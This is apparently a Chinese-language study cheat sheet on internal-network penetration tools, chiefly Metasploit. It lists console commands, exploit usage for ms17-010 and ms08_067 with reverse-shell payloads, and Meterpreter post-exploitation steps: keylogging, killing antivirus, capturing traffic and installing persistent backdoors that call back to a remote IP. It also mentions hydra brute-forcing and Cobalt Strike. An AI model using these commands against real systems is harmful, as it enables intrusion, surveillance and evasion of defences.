内网安全-readme

内网工具说明

fscan

 

Metaspolit

历史：2003年，使用Perl-Ruby语言编写。

七大模块：auxiliary/encoders/evasion/exploits/nops/payloads/post

                 辅助/编码器/免杀/漏洞利用/空指令/攻击载荷/后渗透

#所有命令
banner   显示exp数量信息
msfconsole   打开
help    帮助
back    返回
info    查看该模块的详细信息
jobs   显示任务清单
kill    杀死任务
route    代理跳板
search   搜索ms12-020
session  显示会话
set      设置参数
unset   取消设置
show options   显示选项
use    用该模块
db_connect   数据库相关设置
登录kali——执行service postgresql start/status——msfconsole——db_status——workspace -a/d  test——workspace  test。
host    查看扫描主机
db_services    查看扫描结果

#常用命令：search/use/set/info/show/?/back/exit/quit
#使用示例：search ms12-020
use auxiliary-----------
show options
set  RHOST----------
run
#使用示例：ms17-010
扫描出肉鸡   auxiliary/scan/smb/ms17-010
漏洞利用     exploits/windows/ms17-010
获得session   meterpreter相关命令

信息收集模块

whois  qq.com
nmap -sS
use auxiliary/scanner/服务名/版本   例子：use auxiliary/scanner/smb/smb_version
扫描网站中的email地址   use auxiliary/gather/search_email_collector    set DOMAN sohu.com   run
ftp密码嗅探  use auxiliary/sniffer/psnuffle  run

密码爆破模块

search ssh_login
选择auxiliary/scanner/...
use

漏洞利用模块

#ms10_002/ms10_018/ms12_020/ms10_046/ms08_067
#攻击端
search  ms08_067
use
set payload windows/meterpreter or shell/reverse_tcp
set...
exploit     
#客户端浏览器访问URL
#攻击端
sessions -i 2

#dll注入攻击
use exploit/windows/browser/webdav_dll_hijacker
set payload windows/meterpreter/bind_tcp
set SRVHOST、LHOST、LPORT、RHOST
exploit

shellcode使用及免杀

#msf介绍与配置？
payload   攻击载荷  
shellcode  木马服务端
listener组件   监听器

服务端？侦听端？

Meterpreter后渗透模块

基本命令：
？  帮助
screenshot       截屏   
keyscan_start   keyscan_dump    监控键盘记录
寄生进程  migrate  616 
进程迁移  run post/windows/manage/migrate
关闭杀软  run killav	  关闭cmd
关闭进程  kill 320(可杀360)
捕获流量  run packetrecorder -i 1
提取系统信息 run scraper
持久控制一_写入注册表(XP)     
步骤：安装后门run persistence -X -i 50 -p 1211 -r 远控IP
          服务端监听msfconsole   use exploit/multi/handler   ......exploit
持久控制二_(03/08/12) 
步骤：安装后门run metsvc -A
          服务端监听msfconsole   use exploit/multi/handler   ......exploit

kali

hydra：爆破ssh/rdp等

Tor：https://www.kali.org/docs/tools/tor/

CS

Cobalt Strike、Armitage、viper、empire